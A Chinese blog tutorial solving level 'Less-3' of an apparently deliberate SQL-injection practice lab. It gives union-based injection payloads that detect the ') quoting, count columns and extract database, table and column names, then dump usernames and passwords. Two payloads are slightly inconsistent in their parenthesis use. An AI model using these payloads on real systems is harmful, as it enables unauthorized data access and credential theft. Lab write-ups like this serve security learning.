• Less(3)


    1.先判断注入类型

      

       (1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1

        

       (2)再输入?id=1'

        

         显示报错,报错信息多了一个括号,判断接收到的参数可能为id=('1')

      (3)输入?id=1') --+

        

         显示正常

        说明我们的判断正确

    2.对列数进行判断

      (1)输入?id=1') order by 1 --+

        

          显示正常

      (2)输入?id=1') order by 2 --+

        

         显示正常

      (3)输入?id=1') order by 3 --+

        

         

         显示正常

      (4)输入?id=1') order by 4 --+

        

         显示错误

      (5)综上,有3列

    3.查看显示位,判断手注位置

      (1)输入?id=-1') union select 1,2,3 --+

        

       2,3为显示位,此时可在2,3位置进行手注

    4.进行注入

      (1)查询所有的数据库:?id=-1' )union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

        

      (2)注当前数据库名:?id=-1') union select 1,database(),3 --+

        

       (3)爆注册表。?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="security" --+

        

       (4)注某张表的字段,这里以users为例:?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name="users" --+

        

       (5)注字段的username,这里以users表为例:?id=-1' union select 1,group_concat(username),3 from security.users --+

        

      (6)注字段的password,这里以users表为例:?id=-1') union select 1,group_concat(password),3 from security.users --+

        

  • 相关阅读:
    Spring Richclient — 企业级富客户端开发框架介绍,第 1 部分
    oracle的表名、字段名、constraint名的长度限制分别是多少?
    eclipse指定启动的jdk
    女人为什么爱攀比?
    Oracle一些常用的查询命令总结(持续更新)
    js冒泡事件之之之
    Aspose插件
    oracle11g导入到10g
    转:OpenCms 9.0.1汉化
    metasploit常用命令
  • 原文地址:https://www.cnblogs.com/meng-yu37/p/12078658.html
Copyright © 2020-2023  润新知